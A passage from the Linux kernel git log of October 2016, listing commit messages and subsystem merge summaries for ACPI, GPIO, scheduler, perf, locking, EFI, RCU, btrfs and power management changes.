ACPI tables x86/acpi: Set persistent cpuid <-> nodeid mapping when booting x86/acpi: Enable MADT APIs to return disabled apicids x86/acpi: Introduce persistent storage for cpuid <-> apicid mapping x86/acpi: Enable acpi to register all possible cpus at boot time x86/numa: Online memory-less nodes at boot time x86/apic: Get rid of apic_version[] array x86/apic: Order irq_enter/exit() calls correctly vs. ack_APIC_irq() x86/ioapic: Ignore root bridges without a companion ACPI device x86/apic: Update comment about disabling processor focus x86/smpboot: Check APIC ID before setting up default routing x86/ioapic: Fix IOAPIC failing to request resource x86/ioapic: Fix lost IOAPIC resource after hot-removal and hotadd x86/ioapic: Fix setup_res() failing to get resource x86/ioapic: Support hot-removal of IOAPICs present during boot x86/ioapic: Change prototype of acpi_ioapic_add() x86/apic, ACPI: Fix incorrect assignment when handling apic/x2apic entries ... commit e0852940662362a641c059610755169e3852b873 Author: Linus Walleij Date: Mon Oct 3 11:37:24 2016 +0200 gpio: add missing static inline of_get_named_gpiod_flags() was missing a static inline version when compiling without OF_GPIO. Add this. Reported-by: kbuild test robot Signed-off-by: Linus Walleij drivers/gpio/gpiolib.h | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit f4c1181f0fdeab19fb0b656abfb41bee7ca080b8 Author: Linus Walleij Date: Mon Oct 3 10:59:32 2016 +0200 gpio: OF: localize some gpiochip init functions of_gpiochip_add() and of_gpiochip_remove() are only used locally in the gpio subsystem so move these functions to the local header. Signed-off-by: Linus Walleij drivers/gpio/gpiolib.h | 4 ++++ include/linux/of_gpio.h | 5 ----- 2 files changed, 4 insertions(+), 5 deletions(-) commit 031ba28a8197a08e67b12d7ec935b24eb3638345 Author: Linus Walleij Date: Mon Oct 3 10:40:03 2016 +0200 gpio: acpi: separation of concerns The generic GPIO library directly implement code for acpi_find_gpio() which is only used with CONFIG_ACPI. This was probably done because OF did the same thing, but I removed that so remove this too. Rename the internal acpi_find_gpio() in gpiolib-acpi.c to acpi_populate_gpio_lookup() which seems to be more appropriate anyway so as to avoid a namespace clash with the same function. Make the stub return -ENOENT rather than -ENOSYS (as that is for syscalls!). For some reason the sunxi pin control driver was including the private gpiolib header, it works just fine without it so remove that oneliner. Cc: Rafael J. Wysocki Acked-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/gpio/gpiolib-acpi.c | 57 +++++++++++++++++++++++++++++++++-- drivers/gpio/gpiolib.c | 49 ------------------------------ drivers/gpio/gpiolib.h | 15 +++++---- drivers/pinctrl/sunxi/pinctrl-sunxi.c | 1 - 4 files changed, 63 insertions(+), 59 deletions(-) commit af79ad2b1f337a00aa150b993635b10bc68dc842 Merge: e606d81 447976e Author: Linus Torvalds Date: Mon Oct 3 13:39:00 2016 -0700 Merge branch 'sched-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler changes from Ingo Molnar: "The main changes are: - irqtime accounting cleanups and enhancements. (Frederic Weisbecker) - schedstat debugging enhancements, make it more broadly runtime available. (Josh Poimboeuf) - More work on asymmetric topology/capacity scheduling. (Morten Rasmussen) - sched/wait fixes and cleanups. (Oleg Nesterov) - PELT (per entity load tracking) improvements. (Peter Zijlstra) - Rewrite and enhance select_idle_siblings(). (Peter Zijlstra) - sched/numa enhancements/fixes (Rik van Riel) - sched/cputime scalability improvements (Stanislaw Gruszka) - Load calculation arithmetics fixes. (Dietmar Eggemann) - sched/deadline enhancements (Tommaso Cucinotta) - Fix utilization accounting when switching to the SCHED_NORMAL policy. (Vincent Guittot) - ... plus misc cleanups and enhancements" * 'sched-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (64 commits) sched/irqtime: Consolidate irqtime flushing code sched/irqtime: Consolidate accounting synchronization with u64_stats API u64_stats: Introduce IRQs disabled helpers sched/irqtime: Remove needless IRQs disablement on kcpustat update sched/irqtime: No need for preempt-safe accessors sched/fair: Fix min_vruntime tracking sched/debug: Add SCHED_WARN_ON() sched/core: Fix set_user_nice() sched/fair: Introduce set_curr_task() helper sched/core, ia64: Rename set_curr_task() sched/core: Fix incorrect utilization accounting when switching to fair class sched/core: Optimize SCHED_SMT sched/core: Rewrite and improve select_idle_siblings() sched/core: Replace sd_busy/nr_busy_cpus with sched_domain_shared sched/core: Introduce 'struct sched_domain_shared' sched/core: Restructure destroy_sched_domain() sched/core: Remove unused @cpu argument from destroy_sched_domain*() sched/wait: Introduce init_wait_entry() sched/wait: Avoid abort_exclusive_wait() in __wait_on_bit_lock() sched/wait: Avoid abort_exclusive_wait() in ___wait_event() ... commit e606d81d2d9596ab2b4fd0dc052eea0485b7e8c2 Merge: 12b7bcb b199ac6 Author: Linus Torvalds Date: Mon Oct 3 13:22:39 2016 -0700 Merge branch 'ras-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull RAS updates from Ingo Molnar: "The main changes were: - Lots of enhancements for AMD SMCA (Scalable MCA features/extensions) systems: extract, decode and print more hardware error information and add matching support on the injection/testing side as well. (Yazn Ghannam) - Various MCE handling improvements on modern Intel Xeons. (Tony Luck) - Plus misc fixes and enhancements" * 'ras-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (21 commits) x86/RAS/mce_amd_inj: Remove debugfs dir recursively on exit x86/RAS/mce_amd_inj: Fix signed wrap around when decrementing index 'i' x86/RAS/mce_amd_inj: Fix some W= warnings x86/MCE/AMD, EDAC: Handle reserved bank 4 on Fam17h properly x86/mce/AMD: Extract the error address on SMCA systems x86/mce, EDAC/mce_amd: Print MCA_SYND and MCA_IPID during MCE on SMCA systems x86/mce/AMD: Save MCA_IPID in MCE struct on SMCA systems x86/mce/AMD: Ensure the deferred error interrupt is of type APIC on SMCA systems x86/mce/AMD: Update sysfs bank names for SMCA systems x86/mce/AMD, EDAC/mce_amd: Define and use tables for known SMCA IP types EDAC/mce_amd: Use SMCA prefix for error descriptions arrays EDAC/mce_amd: Add missing SMCA error descriptions x86/mce/AMD: Read MSRs on the CPU allocating the threshold blocks x86/RAS: Add syndrome support to mce_amd_inj EDAC/mce_amd: Print syndrome register value on SMCA systems x86/mce: Add support for new MCA_SYND register x86/mce/AMD: Use msr_ops.misc() in allocate_threshold_blocks() x86/mce: Drop X86_FEATURE_MCE_RECOVERY and the related model string test x86/mce: Improve memcpy_mcsafe() x86/mce: Add PCI quirks to identify Xeons with machine check recovery ... commit 12b7bcb43e6ea834ab2f5dc52d971e379a0ca109 Merge: 00bcf5c 41aad2a Author: Linus Torvalds Date: Mon Oct 3 12:47:28 2016 -0700 Merge branch 'perf-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf updates from Ingo Molnar: "The main kernel side changes were: - uprobes enhancements (Masami Hiramatsu) - Uncore group events enhancements (David Carrillo-Cisneros) - x86 Intel: Add support for Skylake server uncore PMUs (Kan Liang) - x86 Intel: LBR cleanups and enhancements, for better branch annotation tracking (Peter Zijlstra) - x86 Intel: Add support for PTWRITE and power event tracing (Alexander Shishkin) - ... various fixes, cleanups and smaller enhancements. Lots of tooling changes - a couple of highlights: - Support event group view with hierarchy mode in 'perf top' and 'perf report' (Namhyung Kim) e.g.: $ perf record -e '{cycles,instructions}' make $ perf report --hierarchy --stdio ... # Overhead Command / Shared Object / Symbol # ...................... .................................. ... 25.74% 27.18%sh 19.96% 24.14%libc-2.24.so 9.55% 14.64%[.] __strcmp_sse2 1.54% 0.00%[.] __tfind 1.07% 1.13%[.] _int_malloc 0.95% 0.00%[.] __strchr_sse2 0.89% 1.39%[.] __tsearch 0.76% 0.00%[.] strlen - Add branch stack / basic block info to 'perf annotate --stdio', where for each branch, we add an asm comment after the instruction with information on how often it was taken and predicted. See example with color output at: http://vger.kernel.org/~acme/perf/annotate_basic_blocks.png (Peter Zijlstra) - Add support for using symbols in address filters with Intel PT and ARM CoreSight (hardware assisted tracing facilities) (Adrian Hunter, Mathieu Poirier) - Add support for interacting with Coresight PMU ETMs/PTMs, that are IP blocks to perform hardware assisted tracing on a ARM CPU core (Mathieu Poirier) - Support generating cross arch probes, i.e. if you specify a vmlinux file for different arch than the one in the host machine, $ perf probe --definition function_name args will generate the probe definition string needed to append to the target machine /sys/kernel/debug/tracing/kprobes_events file, using scripting (Masami Hiramatsu). - Allow configuring the default 'perf report -s' sort order in ~/.perfconfig, for instance, "sym,dso" may be more fitting for kernel developers. (Arnaldo Carvalho de Melo) - ... plus lots of other changes, refactorings, features and fixes" * 'perf-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (149 commits) perf tests: Add dwarf unwind test for powerpc perf probe: Match linkage name with mangled name perf probe: Fix to cut off incompatible chars from group name perf probe: Skip if the function address is 0 perf probe: Ignore the error of finding inline instance perf intel-pt: Fix decoding when there are address filters perf intel-pt: Enable decoder to handle TIP.PGD with missing IP perf intel-pt: Read address filter from AUXTRACE_INFO event perf intel-pt: Record address filter in AUXTRACE_INFO event perf intel-pt: Add a helper function for processing AUXTRACE_INFO perf intel-pt: Fix missing error codes processing auxtrace_info perf intel-pt: Add support for recording the max non-turbo ratio perf intel-pt: Fix snapshot overlap detection decoder errors perf probe: Increase debug level of SDT debug messages perf record: Add support for using symbols in address filters perf symbols: Add dso__last_symbol() perf record: Fix error paths perf record: Rename label 'out_symbol_exit' perf script: Fix vanished idle symbols perf evsel: Add support for address filters ... commit 00bcf5cdd6c0e2e92ce3dd852ca68a3b779fa4ec Merge: de956b8 0864507 Author: Linus Torvalds Date: Mon Oct 3 12:15:00 2016 -0700 Merge branch 'locking-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull locking updates from Ingo Molnar: "The main changes in this cycle were: - rwsem micro-optimizations (Davidlohr Bueso) - Improve the implementation and optimize the performance of percpu-rwsems. (Peter Zijlstra.) - Convert all lglock users to better facilities such as percpu-rwsems or percpu-spinlocks and remove lglocks. (Peter Zijlstra) - Remove the ticket (spin)lock implementation. (Peter Zijlstra) - Korean translation of memory-barriers.txt and related fixes to the English document. (SeongJae Park) - misc fixes and cleanups" * 'locking-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (24 commits) x86/cmpxchg, locking/atomics: Remove superfluous definitions x86, locking/spinlocks: Remove ticket (spin)lock implementation locking/lglock: Remove lglock implementation stop_machine: Remove stop_cpus_lock and lg_double_lock/unlock() fs/locks: Use percpu_down_read_preempt_disable() locking/percpu-rwsem: Add down_read_preempt_disable() fs/locks: Replace lg_local with a per-cpu spinlock fs/locks: Replace lg_global with a percpu-rwsem locking/percpu-rwsem: Add DEFINE_STATIC_PERCPU_RWSEMand percpu_rwsem_assert_held() locking/pv-qspinlock: Use cmpxchg_release() in __pv_queued_spin_unlock() locking/rwsem, x86: Drop a bogus cc clobber futex: Add some more function commentry locking/hung_task: Show all locks locking/rwsem: Scan the wait_list for readers only once locking/rwsem: Remove a few useless comments locking/rwsem: Return void in __rwsem_mark_wake() locking, rcu, cgroup: Avoid synchronize_sched() in __cgroup_procs_write() locking/Documentation: Add Korean translation locking/Documentation: Fix a typo of example result locking/Documentation: Fix wrong section reference ... commit f60fbdbf41c802e45c03e02ef824772c539ac965 Author: Mike Marshall Date: Mon Oct 3 15:07:36 2016 -0400 Revert "orangefs: bump minimum userspace version" The features op did make it into OrangeFS 2.9.6 after all. This reverts commit 0c95ad76361f1d75a1ffdf82deafbcec44d19c42. fs/orangefs/super.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit de956b8f45b3338cfb66a725e22b4050109daf2a Merge: d7a0dab 2ab78a7 Author: Linus Torvalds Date: Mon Oct 3 11:33:18 2016 -0700 Merge branch 'efi-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull EFI updates from Ingo Molnar: "Main changes in this cycle were: - Refactor the EFI memory map code into architecture neutral files and allow drivers to permanently reserve EFI boot services regions on x86, as well as ARM/arm64. (Matt Fleming) - Add ARM support for the EFI ESRT driver. (Ard Biesheuvel) - Make the EFI runtime services and efivar API interruptible by swapping spinlocks for semaphores. (Sylvain Chouleur) - Provide the EFI identity mapping for kexec which allows kexec to work on SGI/UV platforms with requiring the "noefi" kernel command line parameter. (Alex Thorlton) - Add debugfs node to dump EFI page tables on arm64. (Ard Biesheuvel) - Merge the EFI test driver being carried out of tree until now in the FWTS project. (Ivan Hu) - Expand the list of flags for classifying EFI regions as "RAM" on arm64 so we align with the UEFI spec. (Ard Biesheuvel) - Optimise out the EFI mixed mode if it's unsupported (CONFIG_X86_32) or disabled (CONFIG_EFI_MIXED=n) and switch the early EFI boot services function table for direct calls, alleviating us from having to maintain the custom function table. (Lukas Wunner) - Miscellaneous cleanups and fixes" * 'efi-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (30 commits) x86/efi: Round EFI memmap reservations to EFI_PAGE_SIZE x86/efi: Allow invocation of arbitrary boot services x86/efi: Optimize away setup_gop32/64 if unused x86/efi: Use kmalloc_array() in efi_call_phys_prolog() efi/arm64: Treat regions with WT/WC set but WB cleared as memory efi: Add efi_test driver for exporting UEFI runtime service interfaces x86/efi: Defer efi_esrt_init until after memblock_x86_fill efi/arm64: Add debugfs node to dump UEFI runtime page tables x86/efi: Remove unused find_bits() function fs/efivarfs: Fix double kfree() in error path x86/efi: Map in physical addresses in efi_map_region_fixed lib/ucs2_string: Speed up ucs2_utf8size() firmware-gsmi: Delete an unnecessary check before the function call "dma_pool_destroy" x86/efi: Initialize status to ensure garbage is not returned on small size efi: Replace runtime services spinlock with semaphore efi: Don't use spinlocks for efi vars efi: Use a file local lock for efivars efi/arm*: esrt: Add missing call to efi_esrt_init() efi/esrt: Use memremap not ioremap to access ESRT table in memory x86/efi-bgrt: Use efi_mem_reserve() to avoid copying image data ... commit d7a0dab82fef61bebd34f2bbb9314b075153b646 Merge: 4b97893 8db5494 Author: Linus Torvalds Date: Mon Oct 3 11:02:39 2016 -0700 Merge branch 'core-smp-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull core SMP updates from Ingo Molnar: "Two main change is generic vCPU pinning and physical CPU SMP-call support, for Xen to be able to perform certain calls on specific physical CPUs - by Juergen Gross" * 'core-smp-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: smp: Allocate smp_call_on_cpu() workqueue on stack too hwmon: Use smp_call_on_cpu() for dell-smm i8k dcdbas: Make use of smp_call_on_cpu() xen: Add xen_pin_vcpu() to support calling functions on a dedicated pCPU smp: Add function to execute a function synchronously on a CPU virt, sched: Add generic vCPU pinning support xen: Sync xen header commit 4b978934a440c1aafce986353001b03289eaa040 Merge: 72a9cdd 2d8fbcd Author: Linus Torvalds Date: Mon Oct 3 10:29:53 2016 -0700 Merge branch 'core-rcu-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull RCU updates from Ingo Molnar: "The main changes in this cycle were: - Expedited grace-period changes, most notably avoiding having user threads drive expedited grace periods, using a workqueue instead. - Miscellaneous fixes, including a performance fix for lists that was sent with the lists modifications. - CPU hotplug updates, most notably providing exact CPU-online tracking for RCU. This will in turn allow removal of the checks supporting RCU's prior heuristic that was based on the assumption that CPUs would take no longer than one jiffy to come online. - Torture-test updates. - Documentation updates" * 'core-rcu-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (22 commits) list: Expand list_first_entry_or_null() torture: TOROUT_STRING(): Insert a space between flag and message rcuperf: Consistently insert space between flag and message rcutorture: Print out barrier error as document says torture: Add task state to writer-task stall printk()s torture: Convert torture_shutdown() to hrtimer rcutorture: Convert to hotplug state machine cpu/hotplug: Get rid of CPU_STARTING reference rcu: Provide exact CPU-online tracking for RCU rcu: Avoid redundant quiescent-state chasing rcu: Don't use modular infrastructure in non-modular code sched: Make wake_up_nohz_cpu() handle CPUs going offline rcu: Use rcu_gp_kthread_wake() to wake up grace period kthreads rcu: Use RCU's online-CPU state for expedited IPI retry rcu: Exclude RCU-offline CPUs from expedited grace periods rcu: Make expedited RCU CPU stall warnings respond to controls rcu: Stop disabling expedited RCU CPU stall warnings rcu: Drive expedited grace periods from workqueue rcu: Consolidate expedited grace period machinery documentation: Record reason for rcu_head two-byte alignment ... commit 72a9cdd083005900f15934e8568f1ac43a6bb755 Merge: 72d3992 e4dca0f Author: Linus Torvalds Date: Mon Oct 3 10:27:49 2016 -0700 Merge tag 'pnp-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull PNP update from Rafael Wysocki: "This makes more PNP core code explicitly non-modular (Paul Gortmaker)" * tag 'pnp-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: PNP: isapnp: make core more explicitly non-modular commit bb086a89a406b5d877ee616f1490fcc81f8e1b2b Author: Shaohua Li Date: Fri Sep 30 09:45:40 2016 -0700 md: set rotational bit if all disks in an array are non-rotational, set the array non-rotational. This only works for array with all disks populated at startup. Support for disk hotadd/hotremove could be added later if necessary. Acked-by: Tejun Heo Signed-off-by: Shaohua Li drivers/md/md.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 5891b4fe6387c3d86400ed4174d7c7389b784a97 Merge: a21aae3 b78b119 Author: Mike Marshall Date: Mon Oct 3 13:13:13 2016 -0400 Merge tag 'for-hubcap-v4.9-more' into for-next orangefs: miscellaneous improvements and feature negotiation Two OrangeFS updates: "Pull in an OrangeFS branch containing miscellaneous improvements. - clean up debugfs globals - remove dead code in sysfs - reorganize duplicated sysfs attribute structs - consolidate sysfs show and store functions - remove duplicated sysfs_ops structures - describe organization of sysfs - make devreq_mutex static - g_orangefs_stats -> orangefs_stats for consistency - rename most remaining global variables" "Pull in an OrangeFS branch containing improvements which the userspace component and the kernel to negotiate mutually supported features." commit 72d39926f098b0c4ad95e1461595a8d6d403c14d Merge: 72ec945 8c4b172 Author: Linus Torvalds Date: Mon Oct 3 10:11:58 2016 -0700 Merge tag 'acpi-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI updates from Rafael Wysocki: "First off, the ACPICA code in the kernel is updated to upstream revision 20160831 that brings in a few bug fixes and cleanups. In particular, it is possible to mask GPEs now (and the sysfs interface for GPE control is fixed on top of that), problems related to the table loading mechanism are fixed and all code related to FADT version 2 (which has never been part of the ACPI specification) is dropped. On the new features front, there is a new watchdog driver based on the ACPI WDAT (ACPI Watchdog Action Table), needed on some platforms to replace the iTCO watchdog that doesn't work there, and some UART devices get new definitions of built-in properties (to be accessed via the generic device properties API). Also, included is a fix for an ACPI-related PCI resorces allocation issue and a few problems in the EC driver and in the button and battery drivers are fixed. In addition to that, the ACPI CPPC library is updated to make batching of requests sent over the PCC channel possible (which reduces the PCC usage overhead substantially in some cases) and to support functional fixed hardware (FFH) type of CPPC registers access (which will allow CPPC to be used on x86 too in the future). As usual, there are some assorted fixes and cleanups too. Specifics: - Update of the ACPICA code in the kernel to upstream revision 20160831 with the following major changes: * New mechanism for GPE masking. * Fixes for issues related to the LoadTable operator and table loading. * Fixes for issues related to so-called module-level code (MLC), that is AML that doesn't belong to any methods. * Change of the return value of the _OSI method to reflect the Windows behavior. * GAS (Generic Address Structure) support fix related to 32-bit FADT addresses. * Elimination of unnecessary FADT version 2 support. * ACPI tools fixes and cleanups. From Bob Moore, Lv Zheng, and Jung-uk Kim. - ACPI sysfs interface updates to fix GPE handling (on top of the new GPE masking mechanism in ACPICA) and issues related to table loading (Lv Zheng). - New watchdog driver based on the ACPI WDAT (ACPI Watchdog Action Table), needed on some platforms to replace the iTCO watchdog that doesn't work there and related updates of the intel_pmc_ipc, i2c/i801 and MFD/lcp_ich drivers (Mika Westerberg). - Driver core fix to prevent it from leaking secondary fwnode objects during device removal (Lukas Wunner). - New definitions of built-in properties for UART in ACPI-based x86 SoC drivers and a 8250_dw driver quirk for the APM X-Gene SoC (Heikki Krogerus). - New device ID for the Vulcan SPI controller and constification of local strucures in the AMD SoC (APD) ACPI driver (Kamlakant Patel, Julia Lawall). - Fix for a bug causing the allocation of PCI resorces to fail if ACPI-enumerated child platform devices are registered below the PCI devices in question (Mika Westerberg). - Change of the default polarity for PCI legacy IRQs to high on systems booting wth ACPI on platforms with a GIC interrupt controller model fixing the discrepancy between the specification and HW behavior (Lorenzo Pieralisi). - Fixes for the handling of system suspend/resume in the ACPI EC driver and update of that driver to make it cope with the cases when the EC device defined in the ECDT has to be used throughout the entire system life cycle (Lv Zheng). - Update of the ACPI CPPC library to allow it to batch requests sent over the PCC channel (to reduce overhead), to support the fixed functional hardware (FFH) CPPC registers access type, to notify the mailbox framework about TX completions when the interrupt flag is set for the PCC mailbox, and to support HW-Reduced Communication Subspace type 2 (Ashwin Chaugule, Prashanth Prakash, Srinivas Pandruvada, Hoan Tran). - ACPI button driver fix and documentation update related to the handling of laptop lids (Lv Zheng). - ACPI battery driver initialization fix (Carlos Garnacho). - ACPI GPIO enumeration documentation update (Mika Westerberg). - Assorted updates of the core ACPI bus type code (Lukas Wunner, Lv Zheng). - Assorted cleanups of the ACPI table parsing code and the x86-specific ACPI code (Al Stone). - Fixes for assorted ACPI-related issues found in linux-next (Wei Yongjun)" * tag 'acpi-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: (98 commits) ACPI / documentation: Use recommended name in GPIO property names watchdog: wdat_wdt: Fix warning for using 0 as NULL watchdog: wdat_wdt: fix return value check in wdat_wdt_probe() platform/x86: intel_pmc_ipc: Do not create iTCO watchdog when WDAT table exists i2c: i801: Do not create iTCO watchdog when WDAT table exists mfd: lpc_ich: Do not create iTCO watchdog when WDAT table exists ACPI / bus: Adjust ACPI subsystem initialization for new table loading mode ACPICA: Parser: Fix a regression in LoadTable support ACPICA: Tables: Fix "UNLOAD" code path lock issues ACPI / watchdog: Add support for WDAT hardware watchdog ACPI / platform: Pay attention to parent device's resources PCI: Add pci_find_resource() ACPI / CPPC: Support PCC with interrupt flag ACPI / sysfs: Update sysfs signature handling code ACPI / sysfs: Fix an issue for LoadTable opcode ACPICA: Tables: Fix a regression in acpi_tb_find_table() ACPI / tables: Remove duplicated include from tables.c ACPI / APD: constify local structures x86: ACPI: make variable names clearer in acpi_parse_madt_lapic_entries() x86: ACPI: remove extraneous white space after semicolon ... commit f5b88de284932def6850e976c18d25940c1b2c3d Author: Brian Norris Date: Mon Oct 3 09:49:35 2016 -0700 mtd: nand: fix trivial spelling error Introduced by commit fde85cfd2d07 ("mtd: nand: Fix nand_command_lp() for 8bits opcodes") and I didn't have the heart to have Boris rewrite his pull request just for that. Anyway, there's some value in having stable commit hashes. Signed-off-by: Brian Norris drivers/mtd/nand/nand_base.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e6757859efea6ed919fc37e4ee468634220b2d2 Author: David Sterba Date: Fri Sep 23 13:57:06 2016 +0200 btrfs: tests: uninline member definitions in free_space_extent The recommended way is to put all members on separate lines. Signed-off-by: David Sterba fs/btrfs/tests/free-space-tree-tests.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit d2d9ac6aae1b743d729b2e4027d5666b2bc93003 Author: David Sterba Date: Fri Sep 23 13:54:09 2016 +0200 btrfs: tests: constify free space extent specs We don't change the given extent ranges, mark them const to catch accidental changes. Signed-off-by: David Sterba fs/btrfs/tests/free-space-tree-tests.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 781e3bcf0e7632736d7562b52451a2d4fdfa231c Author: Omar Sandoval Date: Thu Sep 22 17:24:24 2016 -0700 Btrfs: expand free space tree sanity tests to catch endianness bug The free space tree format conversion functions were broken on big-endian systems, but the sanity tests didn't catch it because all of the operations were aligned to multiple words. This was meant to catch any bugs in the extent buffer code's handling of high memory, but it ended up hiding the endianness bug. Expand the tests to do both sector-aligned and page-aligned operations. Tested-by: Chandan Rajendra Signed-off-by: Omar Sandoval Signed-off-by: David Sterba fs/btrfs/tests/free-space-tree-tests.c | 164 +++++++++++++++++++-------------- 1 file changed, 96 insertions(+), 68 deletions(-) commit 9426ce754fab0f02a45b61402119c57de446ffa3 Author: Omar Sandoval Date: Thu Sep 22 17:24:23 2016 -0700 Btrfs: fix extent buffer bitmap tests on big-endian systems The in-memory bitmap code manipulates words and is therefore sensitive to endianness, while the extent buffer bitmap code addresses bytes and is byte-order agnostic. Because the byte addressing of the extent buffer bitmaps is equivalent to a little-endian in-memory bitmap, the extent buffer bitmap tests fail on big-endian systems. 34b3e6c92af1 ("Btrfs: self-tests: Fix extent buffer bitmap test fail on BE system") worked around another endianness bug in the tests but missed this one because ed9e4afdb055 ("Btrfs: self-tests: Execute page straddling test only when nodesize < PAGE_SIZE") disables this part of the test on ppc64. That change lost the original meaning of the test, however. We really want to test that an equivalent series of operations using the in-memory bitmap API and the extent buffer bitmap API produces equivalent results. To fix this, don't use memcmp_extent_buffer() or write_extent_buffer(); do everything bit-by-bit. Reported-by: Anatoly Pugachev Tested-by: Anatoly Pugachev Tested-by: Feifei Xu Tested-by: Chandan Rajendra Signed-off-by: Omar Sandoval Signed-off-by: David Sterba fs/btrfs/tests/extent-io-tests.c | 87 +++++++++++++++++++++++----------------- 1 file changed, 51 insertions(+), 36 deletions(-) commit 6675df311db87aa2107a04ef97e19420953cbace Author: Omar Sandoval Date: Thu Sep 22 17:24:22 2016 -0700 Btrfs: catch invalid free space trees There are two separate issues that can lead to corrupted free space trees. 1. The free space tree bitmaps had an endianness issue on big-endian systems which is fixed by an earlier patch in this series. 2. btrfs-progs before v4.7.3 modified filesystems without updating the free space tree. To catch both of these issues at once, we need to force the free space tree to be rebuilt. To do so, add a FREE_SPACE_TREE_VALID compat_ro bit. If the bit isn't set, we know that it was either produced by a broken big-endian kernel or may have been corrupted by btrfs-progs. This also provides us with a way to add rudimentary read-write support for the free space tree to btrfs-progs: it can just clear this bit and have the kernel rebuild the free space tree. Cc: stable@vger.kernel.org # 4.5+ Tested-by: Holger Hoffstätte Tested-by: Chandan Rajendra Signed-off-by: Omar Sandoval Signed-off-by: David Sterba fs/btrfs/ctree.h | 3 ++- fs/btrfs/disk-io.c | 9 +++++++++ fs/btrfs/free-space-tree.c | 2 ++ include/uapi/linux/btrfs.h | 12 +++++++++++- 4 files changed, 24 insertions(+), 2 deletions(-) commit f8d468a15c22b954b379aa0c74914d5068448fb1 Author: Omar Sandoval Date: Thu Sep 22 17:24:21 2016 -0700 Btrfs: fix mount -o clear_cache,space_cache=v2 We moved the code for creating the free space tree the first time that it's enabled, but didn't move the clearing code along with it. This breaks my (undocumented) intention that `mount -o clear_cache,space_cache=v2` would clear the free space tree and then recreate it. Fixes: 511711af91f2 ("btrfs: don't run delayed references while we are creating the free space tree") Cc: stable@vger.kernel.org # 4.5+ Tested-by: Holger Hoffstätte Tested-by: Chandan Rajendra Signed-off-by: Omar Sandoval Signed-off-by: David Sterba fs/btrfs/disk-io.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 2fe1d55134fce05c17ea118a2e37a4af771887bc Author: Omar Sandoval Date: Thu Sep 22 17:24:20 2016 -0700 Btrfs: fix free space tree bitmaps on big-endian systems In convert_free_space_to_{bitmaps,extents}(), we buffer the free space bitmaps in memory and copy them directly to/from the extent buffers with {read,write}_extent_buffer(). The extent buffer bitmap helpers use byte granularity, which is equivalent to a little-endian bitmap. This means that on big-endian systems, the in-memory bitmaps will be written to disk byte-swapped. To fix this, use byte-granularity for the bitmaps in memory. Fixes: a5ed91828518 ("Btrfs: implement the free space B-tree") Cc: stable@vger.kernel.org # 4.5+ Tested-by: Holger Hoffstätte Tested-by: Chandan Rajendra Signed-off-by: Omar Sandoval Signed-off-by: David Sterba fs/btrfs/extent_io.c | 64 +++++++++++++++++++++++++++++++++------------- fs/btrfs/extent_io.h | 22 ++++++++++++++++ fs/btrfs/free-space-tree.c | 17 ++++++------ 3 files changed, 76 insertions(+), 27 deletions(-) commit 1e2da4ad2e9b23556630bc774d3b1aaa61c0a69e Merge: 5e14907 d44154f Author: Brian Norris Date: Wed Sep 28 13:34:58 2016 -0700 Merge tag 'for-4.9' of github.com:linux-nand/linux " Notable core changes: - add the infrastructure to automate NAND timings configuration - provide a generic DT property to maximize ECC strength The rest is just a bunch of minor drivers and core fixes/cleanup patches. " Also not noted: some refactoring in the core bad block table handling, to help with improving some of the logic in error cases. Signed-off-by: Brian Norris commit 72ec94560d7ee1d3a61d5904fd9a5bf68bf3b11a Merge: 7af8a0f 993eb0a Author: Linus Torvalds Date: Mon Oct 3 09:33:40 2016 -0700 Merge tag 'pm-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull power management updates from Rafael Wysocki: "Traditionally, cpufreq is the area with the greatest number of changes, but there are fewer of them than last time. There also is some activity in the generic power domains and the devfreq frameworks, a couple of system suspend and hibernation fixes and some assorted changes in other places. One new feature is the cpufreq change to allow the scheduler to pass hints to the governors' utilization update callbacks and some code rework based on that. Another one is the support for domain removal in the generic power domains framework. Also it is now possible to use hibernation with PAGE_POISONING_ZERO enabled and devfreq supports the RockChip DFI controller and the rk3399 DMC. The rest of the changes is mostly fixes and cleanups in a number of places. Specifics: - Add a mechanism for passing hints from the scheduler to cpufreq governors via their utilization update callbacks and use it to introduce "IOwait boosting" into the schedutil governor and intel_pstate that will make them boost performance if the enqueued task was previously waiting on I/O (Rafael Wysocki). - Fix a schedutil governor problem that causes it to overestimate utilization if SMT is in use (Steve Muckle). - Update defconfigs trying to use the schedutil governor as a module which is not possible any more (Javier Martinez Canillas). - Update the intel_pstate's pstate_sample tracepoint to take "IOwait boosting" into account (Srinivas Pandruvada). - Fix a problem in the cpufreq core causing it to mishandle the initialization of CPUs registered after the cpufreq driver (Viresh Kumar, Rafael Wysocki). - 